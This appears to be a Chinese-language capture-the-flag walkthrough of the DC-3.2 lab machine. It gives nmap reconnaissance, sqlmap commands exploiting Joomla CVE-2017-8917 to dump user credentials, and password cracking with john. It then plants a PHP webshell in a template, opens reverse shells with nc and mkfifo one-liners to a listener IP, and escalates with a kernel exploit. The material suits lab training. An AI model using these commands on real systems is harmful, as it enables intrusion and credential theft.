DC-3.2
資訊蒐集
IP 探測
arp-scan -l
nmap -sn 192.168.179.0/24
netdiscover -r 192.168.179.0/24
目標及 ip 就為 192.168.179.134。
埠探測
nmap -sT --min-rate 10000 -p- 192.168.179.134
就開放了一個 80 埠
再來個詳細埠掃描和漏洞指令碼掃描
nmap -sT -sV -O -p80 192.168.179.134
nmap --script=vuln -p80 192.168.179.134
這個詳細埠掃描沒有什麼值得注意的。
漏洞指令碼掃描中值得注意的是給了個 cve，待會可以仔細看看。剩餘的就是一些 dos 和 csrf 了，dos 一般不考慮，還有就是列舉的路由。
網頁資訊蒐集
訪問 80 web 服務埠
有個登入框，進行弱口令爆破，發現不行。利用 wappalzyer 外掛可以看到 cms 為 joomla
去看看剛剛的 CVE-2017-8917，是個 sql 注入漏洞，可以利用 sqlmap 一把梭了。
漏洞利用
查資料庫
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --batch -p list[fullordering] --dbs
# --batch 啟用批處理模式，執行時將不再要求使用者進行任何互動，所有可能的提示都會使用預設選項進行處理
# -p 指定要進行注入測試的引數
查出了五個資料庫，繼續查 joomladb 的表
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --batch -p list[fullordering] -D joomladb --tables
直接看可疑的 #_users 表中的段名，
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --batch -p list[fullordering] -D joomladb -T #_users --columns
然後獲取賬號和密碼
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" -C "username,password" --dump
密碼是個 hash 密文，利用 john 進行爆破
得到密碼，去進行登入一波，
沒有什麼東西，剛剛的列舉路徑又後臺路徑，同樣進行登入
登入後進行功能點測試。
getshell
發現一處檔案修改點，把原本的 php 檔案中加入一句話
但是訪問路徑發現沒有該檔案，發現網站用的是 beez3 模板，
搜尋得到檔案路徑在路徑為 /templates/beez3/，訪問 http://192.168.179.134/templates/beez3/jsstrings.php
直接蟻劍連線，使用者為 www-data，需要提權（不能使用蟻劍提權，因為HTTP是瞬時協議，這邊正提權，那邊TCP四次揮手斷開連線了，不能持久連線，所以蟻劍的作用就在於上傳檔案來反彈shell。）
利用 nc 進行 shell 反彈
nc -e /bin/bash 192.168.179.130 2333
顯示 nc 沒有 -e 選項
換個其他的命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.16.100 2333>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.179.130 2333>/tmp/f
反彈 shell 成功後，然後獲取互動式 shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
提權
先檢視系統核心
uname -a
然後檢視發行版本
lsb_release -a
看到 ubuntu 版本為 16.04，查詢相應漏洞
看到有對應的提權漏洞。檢視漏洞細節
在靶機 shell 下載 exp 檔案
然後就是照著執行裡面的指令碼就行了，最後獲得 flag
總結
cms 漏洞查詢，sql 注入
john 爆破密碼後臺登入
後臺修改檔案getshell
系統核心漏洞提權